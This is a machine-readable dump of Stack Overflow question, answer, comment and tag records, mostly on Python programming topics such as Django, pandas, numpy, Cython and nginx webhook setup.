answer count: 1
tagged with: python
has answer: http://stackoverflow.com/a/47038345
type: Question
tagged with: django-queryset
tagged with: django
linked to: http://stackoverflow.com/q/43107377
accepted answer: http://stackoverflow.com/a/47038345
type: AnsweredQuestion
has body: I'm trying to filter objects across two templates. One (the parent) should display the five most recently updated, and the other should display all of them. I have the latter working perfectly with the following code: views.py: ... class ChannelProjectList(generic.ListView): context_object_name = 'projects_by_channel' template_name = 'channels/projects_by_channel.html' def get_queryset(self): self.channel = get_object_or_404(Channel, slug=self.kwargs['slug']) return Project.objects.filter(channel=self.channel) ... HTML: {% for project in projects_by_channel %} {{project.name}} {% endfor %} But when I go to "include" it on the parent page it breaks. After some research I understand why that is happening and why that isnt the proper way to do it. I dug around and found this, which seems to be exactly what I'm trying to do but when I implemented it, not only did it not work it but also broke the page that is working. This feels like a pretty simple thing, but since this is my first project I'm running into new things every day and this is one of them. Final Solution: With the help of this I realised I needed to copy in the same get_queryset into the second template view, which I was then able to call into the template using "view.channel_projects"

http://stackoverflow.com/comment/80964623
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47008777
has text: You haven't given me enough info to know what the input variables X and Y are, and therefore I have no idea what you're trying to do with them ... but, in any case, you seem to misunderstand how boolean operations work. Also sets. Have a look at the documentations of these. The line `set('N' == 'T' or 'A' or 'G' and 'K' == 'L' and 'D' == 'E')` is equivalent to `set('A')`, which presumably is not what you're after.
score: 0

http://stackoverflow.com/comment/92014775
score: 3
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46953967
has text: Just wanted to add my two cents for anyone who's looking for the right way to visualize errors of multilabel classifiers: Your prediction array looks like from a **multiclass** classifier. A confusion matrix wouldn't be suitable for **multilabel** classification where multiple labels are predicted at once.

serverless-framework
tag name: serverless-framework
type: Tag
tags question: http://stackoverflow.com/q/46935384
tags question: http://stackoverflow.com/q/46928105
tags question: http://stackoverflow.com/q/46906025

http://stackoverflow.com/q/47021086
type: UnansweredQuestion
tagged with: python
has title: Python - Function definition occupy memory?
downvote count: 0
upvote count: 1
score: 1
answer count: 1
has answer: http://stackoverflow.com/a/47021310
favorite count: 0
type: Question
has body: I know that function call has to occupy memory, but what about function definition? Is it memoryless?

http://stackoverflow.com/comment/80777829
type: AnswerComment
comment on: http://stackoverflow.com/a/46914060
type: Comment
has text: Module's dict would reveal all, and modules don't do inheritance; the original question is about _classes,_ hence my notice about inherited _methods_.
score: 0

http://stackoverflow.com/a/46912540
type: Answer
has comment: http://stackoverflow.com/comment/80772306
accepted answer of: http://stackoverflow.com/q/46912454
has body: Use .trim(): prompt.get(['name', 'date_start', 'date_end'], function (err, result) { if (err) { return onErr(err); }; console.log('Command-line input received:'); console.log(' Name ' + result.name); console.log(' Start date: ' + result.date_start); console.log(' End date: ' + result.date_end); var PythonShell = require('python-shell'); var pyshell = new PythonShell('new_try_crypto.py'); pyshell.send(result.name.trim()); pyshell.send(result.date_start.trim()) pyshell.send(result.date_end.trim()) };
answers question: http://stackoverflow.com/q/46912454
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80776904
comment on: http://stackoverflow.com/a/46914807
type: Comment
has text: i copied everything from your answer into the 2 scripts
type: AnswerComment
score: 0

http://stackoverflow.com/a/46909594
score: 0
answers question: http://stackoverflow.com/q/46909352
type: Answer
has body: One option is to hardcode a list containing ['zero', 'one', 'two'] up to highest age. Then you can get the index based on the number from the database. &gt;&gt;&gt;number = ['zero', 'one', 'two', 'three', 'four', 'five', 'six', 'seven'] &gt;&gt;&gt;index = number.index('seven') &gt;&gt;&gt;print(index) 7 See this example.

http://stackoverflow.com/q/46963005
answer count: 1
has title: Data reshape of big dataset
has comment: http://stackoverflow.com/comment/80881907
type: Question
tagged with: numpy
type: UnansweredQuestion
tagged with: reshape
tagged with: dataframe
tagged with: python
score: 0
tagged with: pandas
has body: I would like to reshape my np array and present this into a DF. My initial dataset is 2930 rows.My header/column contains the following (80) elements: Order;PID;MS SubClass;MS Zoning;Lot Frontage;Lot Area;Street;Alley;Lot Shape;Land Contour;Utilities;Lot Config;Land Slope;Neighborhood;Condition 1;Condition 2;Bldg Type;House Style;Overall Qual;Overall Cond;Year Built;Year Remod/Add;Roof Style;Roof Matl;Exterior 1st;Exterior 2nd;Mas Vnr Type;Mas Vnr Area;Exter Qual;Exter Cond;Foundation;Bsmt Qual;Bsmt Cond;Bsmt Exposure;BsmtFin Type 1;BsmtFin SF 1;BsmtFin Type 2;BsmtFin SF 2;Bsmt Unf SF;Total Bsmt SF;Heating;Heating QC;Central Air;Electrical;1st Flr SF;2nd Flr SF;Low Qual Fin SF;Gr Liv Area;Bsmt Full Bath;Bsmt Half Bath;Full Bath;Half Bath;Bedroom AbvGr;Kitchen AbvGr;Kitchen Qual;TotRms AbvGrd;Functional;Fireplaces;Fireplace Qu;Garage Type;Garage Yr Blt;Garage Finish;Garage Cars;Garage Area;Garage Qual;Garage Cond;Paved Drive;Wood Deck SF;Open Porch SF;Enclosed Porch;3Ssn Porch;Screen Porch;Pool Area;Pool QC;Fence;Misc Feature;Misc Val;Mo Sold;Yr Sold;Sale Type;Sale Condition;SalePrice I tried the following code: df = pd.DataFrame(np.array(results[1:]).reshape(2930,15,-1), columns = results[0]) Result ==> ValueError: cannot reshape array of size 2930 into shape (2930,15,newaxis) Why is this not possible? Possible solutions to get my get dataset into a DataFrame? Thank you, much appreciated.
has answer: http://stackoverflow.com/a/46964988

http://stackoverflow.com/comment/80836825
score: 0
comment on: http://stackoverflow.com/q/46944301
has text: @Brijesh Check with `str = 'python'; n=4`
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/80990313
score: 0
comment on: http://stackoverflow.com/q/47021497
type: Comment
type: QuestionComment
has text: Possible duplicate of [python multiple inheritance qustion](https://stackoverflow.com/questions/46335165/python-multiple-inheritance-qustion)

http://stackoverflow.com/comment/81051695
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47052246
has text: @Great_DR: yes, a JSON document is stored in a `str` object. That's **correct**. Try printing the value itself.

http://stackoverflow.com/comment/80811379
type: AnswerComment
has text: Thanks Jarad. Can you please help me in understanding what have you done..
comment on: http://stackoverflow.com/a/46926863
type: Comment
score: 0

http://stackoverflow.com/comment/81075303
type: Comment
type: QuestionComment
score: 0
has text: @OzgurVatansever of course it is. My mistake, I've deleted the comment.
comment on: http://stackoverflow.com/q/47063257

http://stackoverflow.com/a/47030417
type: Answer
has comment: http://stackoverflow.com/comment/81014447
answers question: http://stackoverflow.com/q/47030227
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: You have to use regex to solve your problem: https://docs.python.org/2/library/re.html The regular expression: regex = r"2{3,}?1{2,}?2{3,}?" means = find at least three 2's followed by at least two 1's followed by at least three 2's notation 2{3,} means find all at least three 2's ? means - greedy search - the search that may overlap If you want to find patterns that do not overlap - just remove ? import re regex = r"2{3,}?1{2,}?2{3,}?" test_str = "121001221122010120211122211122222222112222" matches = re.finditer(regex, test_str) for matchNum, match in enumerate(matches): matchNum = matchNum + 1 print ("Match {matchNum} was found at {start}-{end}: {match}".format(matchNum = matchNum, start = match.start(), end = match.end(), match = match.group())) print ("total matches: {matches}".format(matches= matchNum))
score: 1
accepted answer of: http://stackoverflow.com/q/47030227

http://stackoverflow.com/a/46998685
score: 3
type: Answer
has body: Your main issue is that Cython doesn't provide a way to express C++ static member variables. To solve this you can put them at the global scope and use strings to ensure that the correct C++ code is generated. The constexpr is irrelevant - Cython doesn't need to know about it. I've created a minimal example that's slightly simplified from yours (it omits the irrelevant template class that you don't provide a definition for, for example): class C { public: constexpr C(unsigned int) {} }; class D { public: static constexpr C any {0}; static constexpr C one {1&lt;&lt;1}; static constexpr C two {1&lt;&lt;2}; }; inline void bar(const C&amp;) {} and in cython: cdef extern from "whatever.hpp": cdef cppclass C: pass cdef cppclass D: pass C any "D::any" C one "D::one" C two "D::two" void bar(const C&amp;) Notice that I don't put any, one and two inside D, but ensure that the strings create C++ code D::any etc. I think there's a second question about how to call bar from Python. There's obviously a number of options but an easy way would be to pass a string, and have a Cython function that matches the string to the C++ value: # except NULL allows Cython to signal an error to the calling function cdef const C* get_C_instance(s) except NULL: if s=="any": return &amp;any elif s=="one": return &amp;one elif s=="two": return &amp;two raise ValueError("Unrecognised string {0}".format(s)) def py_bar(s): return bar(get_C_instance(s)[0]) This isn't the only solution for creating a Python interface - you could create a wrapper class that holds a C and have instances of it called any, one, two for example.
accepted answer of: http://stackoverflow.com/q/46962636
upvote count: 3
answers question: http://stackoverflow.com/q/46962636
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/46958970
favorite count: 0
type: Question
tagged with: telegram-bot
has answer: http://stackoverflow.com/a/46975821
tagged with: gunicorn
tagged with: nginx
type: UnansweredQuestion
tagged with: django
tagged with: python
upvote count: 2
score: 2
has body: I was trying to setup a django as webhooks for telegram bots. I create a ssl cert's using this commands: openssl genrsa -out webhook_pkey.pem 2048 openssl req -new -x509 -days 3650 -key webhook_pkey.pem -out webhook_cert.pem # In Common Name i type a server IP address Setup run gunicorn on port 800, setup proxy_pass in nginx to localhost:800. Web site work correctly, i can open it on browser and see my main page. Gunicorn starts with that command: gunicorn wsgi -b 127.0.0.1:800 # wsgi is django generated wsgi.py file My nginx.conf file: upstream django { server 127.0.0.1:800; } server { listen 80; listen 443 ssl; server_name 111.111.111.111 # these ip addres of my server ssl_certificate /path/to/webhook.cert; ssl_certificate_key /path/to/webhook.pkey; charset utf-8; client_max_body_size 10M; location /media { alias /path/to/media; } location /static { alias /path/to/static; } location / { proxy_pass http://127.0.0.1:800; proxy_set_header Host $server_name; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Protocol $scheme; } } I'm use a pyTelegramBotApi. from telebot import TeleBot bot = TeleBot(token) cert = open('webhook.cert', 'r') bot.remove_webhook() bot.set_webhook("https://111.111.111.111:80/user_bots/, certificate=cert) # I'm trying a differents ports cert.close() user_bots - it's some path for view in django, where a logging some data from request After i run this code i see this in nginx access.log: 149.154.167.200 - - [26/Oct/2017:15:36:13 +0000] "\x16\x03\x01\x00\xC3\x01\x00\x00\xBF\x03\x03\x19\xB3\x937v\x14\xF0\xDCj\xC1\x93\xB2?\xF9tOK\x10\x9FA\x87|\xA9!\x81e\xCFC\xDD\x92\x94\x97\x00\x008\xC0,\xC00\x00\x9F\xCC\xA9\xCC\xA8\xCC\xAA\xC0+\xC0/\x00\x9E\xC0$\xC0(\x00k\xC0#\xC0'\x00g\xC0" 400 182 "-" "-" # And then many some logs, it stopped after i run bot.remove_webhook() Google say it's error with ssl cert. django urls.py urlpatterns += url(r'user_bots/(?P&lt;token&gt;[0-9]+:\w…
downvote count: 0
answer count: 1
has title: Django+gunicorn+nginx telegram webhook ssl trouble

http://stackoverflow.com/comment/113626626
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/64255334
score: 1
has text: This is doing it manually, there might be a library somewhere that does it.

http://stackoverflow.com/comment/80930902
score: 0
comment on: http://stackoverflow.com/q/46992036
has text: @DRPK # Load the data that PHP sent us try: data = json.loads(base64.b64decode(sys.argv[1])) except: print "ERROR" sys.exit(1) # Generate some data to send to PHP result = {'status': data} # Send it to stdout (to PHP) print json.dumps(result)
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46941568
downvote count: 0
answers question: http://stackoverflow.com/q/46941498
type: AcceptedAnswer
has body: Use combinations not of x, but of the range of possible slice indices (including one past the end, thus len(x)+1, since slices are exclusive on the end) to make the slice end points, then use them to slice x: from itertools import combinations y = [x[s:e] for s, e in combinations(range(len(x)+1), 2)] That gets exactly what you're going for as straightforwardly as possible. If you want (possibly) faster map based code, you can rephrase it as (list wrapper unnecessary on Python 2): from itertools import combinations, starmap y = list(map(x.__getitem__, starmap(slice, combinations(range(len(x)+1), 2)))) which gets the same result, but without any Python bytecode execution per-item, which might run faster (implementation dependent).
has comment: http://stackoverflow.com/comment/80837634
has comment: http://stackoverflow.com/comment/80836950
type: Answer
has comment: http://stackoverflow.com/comment/80831614
has comment: http://stackoverflow.com/comment/80837191
upvote count: 15
score: 15
accepted answer of: http://stackoverflow.com/q/46941498
has comment: http://stackoverflow.com/comment/80837768

animation
tags question: http://stackoverflow.com/q/47058492
tags question: http://stackoverflow.com/q/46982193
type: Tag
tags question: http://stackoverflow.com/q/47030572
tags question: http://stackoverflow.com/q/46930351
tag name: animation
tags question: http://stackoverflow.com/q/46961642

http://stackoverflow.com/comment/80764844
has text: I deleted all the 6 .pyc files namely - __init__.pyc, forms.pyc, settings.pyc, urls.pyc, views.pyc, wsgi.pyc, still it is working fine.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46908668

http://stackoverflow.com/comment/102791748
type: Comment
has text: It's better to add some description, why old code is wrong and why your code is right
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/58206544

http://stackoverflow.com/q/46977187
type: UnansweredQuestion
has body: I am just started learning python so excuse this question is too primary!! I wanted to run an antivirus scan- an .exe file in a specific drive like c or d. with some pointers from this site, I came up with this line of python script. but it does full scan. I want to pass an argument to run a scan in a specific drive and not the whole system. subprocess.call([r"C:\Users\Sathish.PV\Downloads\Antivirus_Free_1865.exe"], shell=False) Is there any way to achieve this. Thanks
has answer: http://stackoverflow.com/a/46977365
tagged with: python
has title: Run antivirus scan - an executable - in a specific drive say c: in python
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/46977264
type: Question

http://stackoverflow.com/comment/80767272
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46910370
has text: Dicts are only ordered in python 3.6+, I think
score: 0

libraries
tags question: http://stackoverflow.com/q/47057297
tags question: http://stackoverflow.com/q/46968007
tag name: libraries
type: Tag

http://stackoverflow.com/comment/80788639
type: QuestionComment
comment on: http://stackoverflow.com/q/46920363
has text: Division changed a bit between Python 2 and Python 3. You may want `//` instead of `/`
score: 2
type: Comment

http://stackoverflow.com/comment/80976858
type: AnswerComment
comment on: http://stackoverflow.com/a/47005546
has text: @Vijay by the way `SERVICE_NAME = FRDLD2D1` may be an alternative of `SID = FRDLD2D1` in your `TNSNAMES.ORA` file.
score: 0
type: Comment

http://stackoverflow.com/comment/80788963
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46920651
has text: @AnkurAnkan, I have posted the relevant code, but as I was saying, it runs fine most of the time. My concern is more so regarding any potential compatibility issues with the theading library and shelves.
score: 0

http://stackoverflow.com/comment/80865951
type: Comment
type: QuestionComment
has text: There are a few things you can do to improve the structure of that code, but to answer your immediate question, you create a `Toplevel` window just like you create a widget, eg `results_window = tk.Toplevel(root)` or `results_window = tk.Toplevel(self.parent)`. BTW, your widgets probably should use the `self.parent` rather than the global `root`. It doesn't hurt to use `root`, but it's neater if the GUI object uses its own attributes rather than referring to a global name like `root`.
score: 4
comment on: http://stackoverflow.com/q/46958020

http://stackoverflow.com/q/46921202
has body: I'm attempting to remove x number of rows from a df with an exception of a certain row. df: Main Ing 0 A Apple 1 B Bread 2 Z Cheese 3 E Egg 4 D Dough 5 X Pasta etc. I've attempted the following, with the intention of removing one row: r = randint(0, df.shape[0]) df.drop(df.index[r]) However, it doesn't seem to do anything. My goal is to randomly remove x number of rows from df, with the exception of a certain row, e.g: df.loc[df['Main'] == 'A'] Desired Output: E.G: If the number of rows to remove was 4, with the exception of the row - df.loc[df['Main'] == 'A'], the output would be: Main Ing 0 A Apple 2 Z Cheese etc.
tagged with: random
answer count: 2
possible better answer: http://stackoverflow.com/a/46921308
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46921256
has title: Remove more than one row at random from a pandas dataframe with an exception
accepted answer: http://stackoverflow.com/a/46921256
has answer: http://stackoverflow.com/a/46921308
tagged with: pandas
score: 1
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7

http://stackoverflow.com/comment/80989643
has text: It depends on a structure of dataframe you want to get at the end. Pandas' dataframe is two-dimensional structure, so you need to transform `row['doc']` to desired shape while looping through `rows` before passing resulted `data` to pandas.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47017243

vectorization
tags question: http://stackoverflow.com/q/47015578
tags question: http://stackoverflow.com/q/46932619
tags question: http://stackoverflow.com/q/47005061
tag name: vectorization
type: Tag
tags question: http://stackoverflow.com/q/46912886
tags question: http://stackoverflow.com/q/47019010
tags question: http://stackoverflow.com/q/46966514
tags question: http://stackoverflow.com/q/46990098

http://stackoverflow.com/comment/80952038
comment on: http://stackoverflow.com/q/47002641
has text: Looks like this does what you need: [Capture arbitrary path in flask route](https://stackoverflow.com/questions/15117416/capture-arbitrary-path-in-flask-route)
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80974593
type: QuestionComment
score: 0
has text: @pritus show your nginx config please
comment on: http://stackoverflow.com/q/47011117
type: Comment

http://stackoverflow.com/comment/80926752
comment on: http://stackoverflow.com/a/46985540
score: 0
type: AnswerComment
has text: Thanks! This does mean enumerating all the columns and rearranging them; It is hard if I have 50 columns:-)
type: Comment

http://stackoverflow.com/comment/80924050
type: Comment
type: QuestionComment
has text: Where should it be located ?
score: 0
comment on: http://stackoverflow.com/q/46988158

http://stackoverflow.com/a/46993127
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46993045
has body: Actually problem lay in script launching. You using following command ./Client.py &amp; With &amp; the process starts in the background, so you can continue to use the shell. &amp; detach stdin of your script from terminal. And all that you print in terminal after script launching will be interpreted as bash commands. Try to use just ./Client.py
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/46993045

http://stackoverflow.com/q/47026896
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81017870
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
linked to: http://stackoverflow.com/q/5289189
tagged with: python
tagged with: pandas
upvote count: 2
score: 1
has comment: http://stackoverflow.com/comment/81001001
answer count: 1
has body: I am trying to do is export this table as a CSV for all 7 pages of 100 rows each within a Python script but an running into this error below the script. "http://www.nhl.com/stats/player?aggregate=1&amp;gameType=2&amp;report=points&amp;pos=S&amp;reportType=game&amp;startDate=2017-10-19&amp;endDate=2017-10-29&amp;filter=gamesPlayed,gte,1&amp;sort=points,goals" import pandas as pd dfs = pd.read_html('http://www.nhl.com/stats/player?aggregate=1&amp;gameType=2&amp;report=skatersummary&amp;pos=S&amp;reportType=game&amp;startDate=2017-10-19&amp;endDate=2017-10-29&amp;filter=gamesPlayed,gte,1&amp;sort=points,goals,assists') df = pd.concat(dfs, ignore_index=True) df.to_csv("1019_1029.csv", index=False) print(df) ValueError: No tables found matching pattern '.+'
has title: Python: No tables found matching pattern '.+'
has answer: http://stackoverflow.com/a/47027340
downvote count: 1

http://stackoverflow.com/comment/81034502
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47043407
score: 0
has text: yes - python2 and python3.

http://stackoverflow.com/comment/81057644
type: Comment
type: AnswerComment
has text: Thanks for your response , I too tried with pandas and came till this, but I am not able to convert the datafarame to dict format that I am expecting
comment on: http://stackoverflow.com/a/47055383
score: 0

http://stackoverflow.com/comment/80992856
has text: I could indeed be off on that point, I was just assuming the bulk of the methods outside of the apply family was vectorized. I'll have to double check my notes and if this was covered in Sofia Heisler's [No More Sad Pandas](https://youtu.be/HN5d490_KKk) talk. Nothing glaring stands out for me in the [source](https://github.com/pandas-dev/pandas/blob/v0.21.0/pandas/core/series.py#L2188-L2316), although I'm not versed in the internals of pandas. It's an interesting question if there's some documentation notation or convention pandas uses to indicate whether a method is vectorized or not.
comment on: http://stackoverflow.com/q/47022825
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47060920
answer count: 0
linked to: http://stackoverflow.com/q/24850133
upvote count: 2
score: 2
type: UnansweredQuestion
downvote count: 0
tagged with: nearest-neighbor
favorite count: 0
has comment: http://stackoverflow.com/comment/81078375
tagged with: multidimensional-array
tagged with: algorithm
has comment: http://stackoverflow.com/comment/81109221
tagged with: satellite-image
tagged with: python
type: Question
has title: Nearest Neighbor or KD Tree with 2D Lat and Lon Python
has body: What I am trying to do: What I want to do is have a function for nearest neighbor where the user provides the latitude and longitude arrays and a singular point. Within the function I do not mind applying a function from a different library (such as the scipy kdtree). Previously I applied the below function that works for finding the nearest neighbor for 1D lat and lon arrays: import numpy as np def find_index_of_nearest_xy(lat_array, lon_array, lat_point, lon_point, num_neighbors = 4): dist = np.sqrt(np.abs((lon_array-lon_point)**2 + (lat_array - lat_point)**2)) sorted_dist = sorted(dist) values = np.array(sorted_dist[:num_neighbors]) indices = np.in1d(dist,values) return indices I know there is a more efficient way to go about finding the index of the nearest point but this method was quick for the application I was doing previously. More details: The issue I am having now is that my function only works if lat and lon are 1D. With my new dataset, my lat and lon arrays are both 2D each having a shape of (5500, 5500) so raveling it and applying my function would be very inefficient as I am performing this analysis every 5 minutes in a 3 month period. An example of this approach would be: #current_AERONET is a pandas dataframe with aeronet lat, lon, time, and AOT data aeronet_lat = current_AERONET['Lat'].tolist() aeronet_lon = current_AERONET['Lon'].tolist() for ahi in ahi_files: openfile = netcdf.netcdf_file(ahi, 'r') ahi_lat = np.copy(np.squeeze(openfile.variables['lat'][:])) #(5500, 5500) ahi_lon = np.copy(np.squeeze(openfile.variables['lon'][:])) #(5500,5500) new_lat = np.ravel(lat) #(30250000,) new_lon = np.ravel(lon) #(30250000,) idx = find_index_of_nearest_xy(new_lat, new_lon, aeronet_lat, aeronet_lon) current_lat = new_lat[idx] current_lon = new_lon[idx] I found this link that explains how to perform a kd tree using lat and lon coordinates but again the lat and lon are 1D. I want to return the indices since I am applying it to my lat, lon, and data arrays at …

http://stackoverflow.com/a/46918478
type: Answer
answers question: http://stackoverflow.com/q/46918404
score: 0
has body: You will need something along these lines: for line in open(document).readlines(): line.split("\t")

notepad++
tags question: http://stackoverflow.com/q/46969719
type: Tag
tag name: notepad++

http://stackoverflow.com/comment/80853392
comment on: http://stackoverflow.com/q/46953090
type: QuestionComment
has text: Please mention that in the question, it's an important detail. Furthermore, please include what you've done to solve this problem.
score: 0
type: Comment

http://stackoverflow.com/a/47143072
has body: From what you're describing I can assume you use Application(backend="uia") (or must use) because Inspect.exe uses UI Automation technology which is supported by UIA backend in pywinauto. And yes, you're almost right about double click. This should look so: dlg.itemname.double_click_input(button='left') # or dlg.itemname.click_input(button='left', double=True) How would I know? Detecting items as separate controls are typical for UIA backend. For default Win32 backend (what you can see in Spy++ tool) a list view or a list box always have virtual items that are accessible by wrapper methods only, not as separate controls.
answers question: http://stackoverflow.com/q/46974209
type: Answer
score: 4
upvote count: 4
downvote count: 0

http://stackoverflow.com/q/46999629
upvote count: 1
tagged with: python
has body: I want to make my HTML site consist of single generic modules kind of like this pseudo-code. {% block body %} // Just a block inside the base html template file &lt;div class="container_main"&gt; {% block generic_sub_menu %} // This should be replaced with a generic submenu, which is defined in another html template file {% endblock %} Blah Blah Blah {% block generic_map_display %} // This should be replaced with a generic map display, which is defined in another html template file {% endblock %} &lt;/div&gt; {% endblock %} So, I know how to use a base template and insert the body of a more specific template, which extends the base template. But how can I make a template which can be used everywhere with some generic HTML code which is not extending a specific template, but can be used to import some blocks of generic code by other templates? Is there a way to do this with blocks or do I have to research about some other technique in the Django Framework?
favorite count: 0
linked to: http://stackoverflow.com/q/10985950
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/46999689
score: 1
has answer: http://stackoverflow.com/a/46999689
tagged with: templates
tagged with: generics
has comment: http://stackoverflow.com/comment/80945954
has title: How can you define basic generic code blocks and insert them in other templates in Django?
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/46999778
has comment: http://stackoverflow.com/comment/80946048
has answer: http://stackoverflow.com/a/46999778
downvote count: 0
tagged with: django

http://stackoverflow.com/comment/80958224
type: QuestionComment
has text: @eyllanesc This is a part of my project https://gist.github.com/serkomma/b2a39ed98d74d7d8a6504e3fd5c321fa
comment on: http://stackoverflow.com/q/46990848
score: 0
type: Comment

http://stackoverflow.com/a/47028316
type: Answer
accepted answer of: http://stackoverflow.com/q/47016617
score: 5
answers question: http://stackoverflow.com/q/47016617
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81009302
has comment: http://stackoverflow.com/comment/81010158
has body: Simple answer: mean, eigvec = cv2.PCACompute(data, mean=None) With details: Let search PCACompute the source first.Then find this: // [modules/core/src/pca.cpp](L351-L360) void cv::PCACompute(InputArray data, InputOutputArray mean, OutputArray eigenvectors, int maxComponents) { CV_INSTRUMENT_REGION() PCA pca; pca(data, mean, 0, maxComponents); pca.mean.copyTo(mean); pca.eigenvectors.copyTo(eigenvectors); } OK, now we read the document: C++: PCA&amp; PCA::operator()(InputArray data, InputArray mean, int flags, int maxComponents=0) Python: cv2.PCACompute(data[, mean[, eigenvectors[, maxComponents]]]) → mean, eigenvectors Parameters: data – input samples stored as the matrix rows or as the matrix columns. mean – optional mean value; if the matrix is empty (noArray()), the mean is computed from the data. flags – operation flags; currently the parameter is only used to specify the data layout. CV_PCA_DATA_AS_ROW indicates that the input samples are stored as matrix rows. CV_PCA_DATA_AS_COL indicates that the input samples are stored as matrix columns. maxComponents – maximum number of components that PCA should retain; by default, all the components are retained. This to say, ## py mean, eigvec = cv2.PCACompute(data, mean=None) is equals to // cpp PCA pca; pca(data, mean=noArray(), flags=CV_PCA_DATA_AS_ROW); ...
upvote count: 5

http://stackoverflow.com/a/46909272
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/46908505
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/46908505
has body: If you check HTML source of input field, you'll see that it has style="display: none;" attribute, which means that you cannot interact with this element even if to implement Explicit/Implicit wait... To make it visible, try to change style="display: none;" to style="display: inline;" as below: day = browser.find_element_by_id('txtDateOfBirth__1_Day') browser.execute_script('arguments[0].style.display="inline";', day) day.send_keys('01') Perform the same for two other input fields

http://stackoverflow.com/a/46911690
has comment: http://stackoverflow.com/comment/80770403
has comment: http://stackoverflow.com/comment/80770796
accepted answer of: http://stackoverflow.com/q/46911622
has comment: http://stackoverflow.com/comment/80770291
downvote count: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46911622
type: Answer
has comment: http://stackoverflow.com/comment/80770354
upvote count: 1
has body: As your date is in YYYYMMDD format, normal string ordering will do. Try like this (Python 2.7.14): &gt;&gt;&gt; d = [{'ID': 17, 'DATE': '20161123', 'VAL': 100}, {'ID': 26, 'DATE': '20161223', 'VAL': 500 }, {'ID': 26, 'DATE': '20161023','VAL': 300 }, {'ID': 26, 'DATE': '20161013','VAL': 400 }, {'ID': 17, 'DATE': '20161103', 'VAL': 150 }, {'ID': 17, 'DATE': '20161023', 'VAL': 250 }] &gt;&gt;&gt; &gt;&gt;&gt; dates= [20161001, 20161025] &gt;&gt;&gt; ID = 26 &gt;&gt;&gt; dates = map(str,dates) # for Python 3.x you need to make it a list by: list(map(str,dates)). Or you can use list comprehension: [str(x) for x in dates] &gt;&gt;&gt; result = [e for e in d if e['ID']==ID and dates[0]&lt;= e['DATE']&lt;=dates[1]] &gt;&gt;&gt; result [{'DATE': '20161023', 'ID': 26, 'VAL': 300}, {'DATE': '20161013', 'ID': 26, 'VAL': 400}]
score: -1
has comment: http://stackoverflow.com/comment/80771653

http://stackoverflow.com/q/46949380
answer count: 1
has answer: http://stackoverflow.com/a/50304610
has body: I have a dictionary that is really a geojson: points = { 'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [ {'geometry': { 'coordinates':[[[-3.693162104185235, 40.40734504903418], [-3.69320229317164, 40.40719570724241], [-3.693227952841606, 40.40698546120488], [-3.693677594635894, 40.40712700492216]]], 'type': 'Polygon'}, 'properties': { 'name': 'place1', 'temp': 28}, 'type': 'Feature' }, {'geometry': { 'coordinates': [[[-3.703886381691941, 40.405197271972035], [-3.702972834622821, 40.40506272989243], [-3.702552994966045, 40.40506798079752], [-3.700985024825222, 40.405500820623814]]], 'type': 'Polygon'}, 'properties': { 'name': 'place2', 'temp': 27}, 'type': 'Feature' }, {'geometry': { 'coordinates': [[[-3.703886381691941, 40.405197271972035], [-3.702972834622821, 40.40506272989243], [-3.702552994966045, 40.40506798079752], [-3.700985024825222, 40.405500820623814]]], 'type': 'Polygon'}, 'properties': { 'name': 'place', 'temp': 25}, 'type': 'Feature' } ], 'type': u'FeatureCollection' } I would like to filter it to stay only with places that have a specific temperature, for example, more than 25 degrees Celsius. I have managed to do it this way: dict(crs = points["crs"], features = [i for i in points["features"] if i["properties"]["temp"] &gt; 25], type = points["type"]) But I wondered if there was any way to do it more directly, with dictionary comprehension. Thank you very much.
type: Question
type: UnansweredQuestion
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/80846546
has comment: http://stackoverflow.com/comment/80846153
tagged with: list-comprehension
has comment: http://stackoverflow.com/comment/80846039
has comment: http://stackoverflow.com/comment/80846067
has title: Filter python dictionary with dictionary-comprehension
score: 0
has comment: http://stackoverflow.com/comment/80846015
tagged with: dictionary-comprehension

http://stackoverflow.com/comment/80985693
comment on: http://stackoverflow.com/q/47019400
type: Comment
score: 0
type: QuestionComment
has text: Have edited in how a link typically appears.

http://stackoverflow.com/comment/81066450
comment on: http://stackoverflow.com/a/47058470
type: Comment
type: AnswerComment
has text: @souldeux Is it possible to change the relative urls like this "url(r'^reset-password/$', password_reset, {''post_reset_redirect":reverse(''exist: password_reset_done")}, name = 'reset_password') " without moving these urls to main urls?. I am not sure.
score: 0

http://stackoverflow.com/comment/81025525
comment on: http://stackoverflow.com/q/47019447
score: 0
type: Comment
